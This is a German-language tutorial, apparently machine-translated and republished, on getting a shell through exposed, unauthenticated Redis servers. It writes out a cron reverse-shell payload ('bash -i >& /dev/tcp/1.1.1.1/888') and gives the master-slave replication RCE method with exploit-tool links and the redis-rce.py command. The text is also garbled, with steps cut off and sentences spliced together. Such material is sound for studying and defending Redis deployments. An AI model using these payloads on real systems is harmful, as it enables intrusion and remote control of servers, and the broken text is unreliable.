Heim  >  Artikel  >  Datenbank  >  Beispielanalyse von Redis+Getshell

Beispielanalyse von Redis+Getshell

WBOY
WBOYnach vorne
2023-05-27 20:43:141703Durchsuche

Vorwort:

Normalerweise kann es bei der Durchführung von Autorisierungs-Penetrationstests zu unerwarteten Ergebnissen kommen, auch wenn herkömmliche Schwachstellenangriffe (wie Injektion, Datei-Upload usw.) versucht werden, aber keine Informationen abgerufen werden können .

Sich selbst und den Feind zu kennen ist der beste Weg, jede Schlacht zu gewinnen:

Einfach ausgedrückt ist Redis eine Datenbank vom Typ Schlüsselwert, die im Speicher abgelegt werden kann Daten im Speicher auf der Festplatte regelmäßig und unterstützt das Speichern einer Vielzahl von Datenstrukturen (String, Hash, Liste usw.).

Bei der Planung werden Redis-Schwachstellen:

1. Sicherheitslücke bei unbefugtem Zugriff

Redis wird standardmäßig an 0.0.0.0:6379 gebunden, wenn der IP-Zugriff nicht eingeschränkt ist Das öffentliche Netzwerk ohne Einrichtung einer Passwortauthentifizierung führt dazu, dass jeder Benutzer ohne Autorisierung auf Redis zugreift, Redis-Daten liest und den öffentlichen Schlüssel für die Remoteverbindung schreibt.

Wir werden nicht zufrieden sein, wenn wir die Datenbankberechtigungen erhalten. Unser Ziel ist nur Getshell!

Derzeit gibt es zwei weitere Mainstream-Methoden: Die erste besteht darin, regelmäßig eine Rebound-Shell zu planen, und die zweite darin, Master-Slave-Replikations-RCE zu verwenden.

2. Geplante Rebound-Shell

1) set x "n* * * * * bash -i >& /dev/tcp/1.1.1.1/888 0>&1n"

2) config set dir /var/spool/cron/ Redis Der Master-Slave-Modus bezieht sich auf die Verwendung eines Redis als Host und des anderen als Backup-Maschine. Die Host- und Slave-Daten sind identisch. Der Slave ist nur für das Lesen verantwortlich und der Host ist nur für das Schreiben verantwortlich. Nach Reids 4.x ist es durch externe Erweiterung möglich, einen neuen Redis-Befehl in Redis zu implementieren und eine bösartige .so-Datei zu erstellen. Wenn zwei Redis-Instanzen im Master-Slave-Modus eingestellt sind, kann die Redis-Hostinstanz Dateien über FULLRESYNC mit dem Slave-Computer synchronisieren. Laden Sie dann die schädliche SO-Datei auf den Slave-Computer, um den Befehl auszuführen.

Sie müssen ein Tool verwenden, laden Sie es einfach von GitHub herunter.

1) Git-Klon https://github.com/n0b0dyCN/RedisModules-ExecuteCommand (erfordert make)

2) Git-Klon https://github.com/Ridter/redis-rce.git

und dann pass Wenn Sie über unbefugten Zugriff oder ein schwaches Passwort verfügen, um eine Verbindung zu Redis herzustellen, können Sie die Shell erhalten, indem Sie das Skript ausführen.

Victory Tausende von Meilen entfernt, tatsächliche Kampfübung:

Dieses Mal habe ich 6379 gescannt, was manchmal der Standardport ist. Es wird empfohlen, den gesamten Port zu scannen Master-Slave-Kopie von rce, um die Shell zu erhalten (aufgrund dieser Schwachstelle wurde src gemeldet und eine Vertraulichkeitsvereinbarung unterzeichnet, sodass der Zielcomputer so aufgebaut ist, dass er die reale Umgebung wiederherstellt und die Authentizität gewährleistet. )

Angreifer-IP: 192.168.109.134. Server-IP: 192.168.109.136 -slave rce kopieren, um die Shell zu erhalten
Beispielanalyse von Redis+GetshellGenerieren Sie zunächst eine schädliche .so-Datei, laden Sie RedisModules-ExecuteCommand herunter und kompilieren Sie sie mit make. Kann generiert werden.

Ausführung auf Angriffsseite: python redis-rce.py -r Ziel-IP -p Zielport -L lokale IP -f schädlich.so

Shell erfolgreich erhalten

Das obige ist der detaillierte Inhalt vonBeispielanalyse von Redis+Getshell. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Stellungnahme:
Dieser Artikel ist reproduziert unter:yisu.com. Bei Verstößen wenden Sie sich bitte an admin@php.cn löschen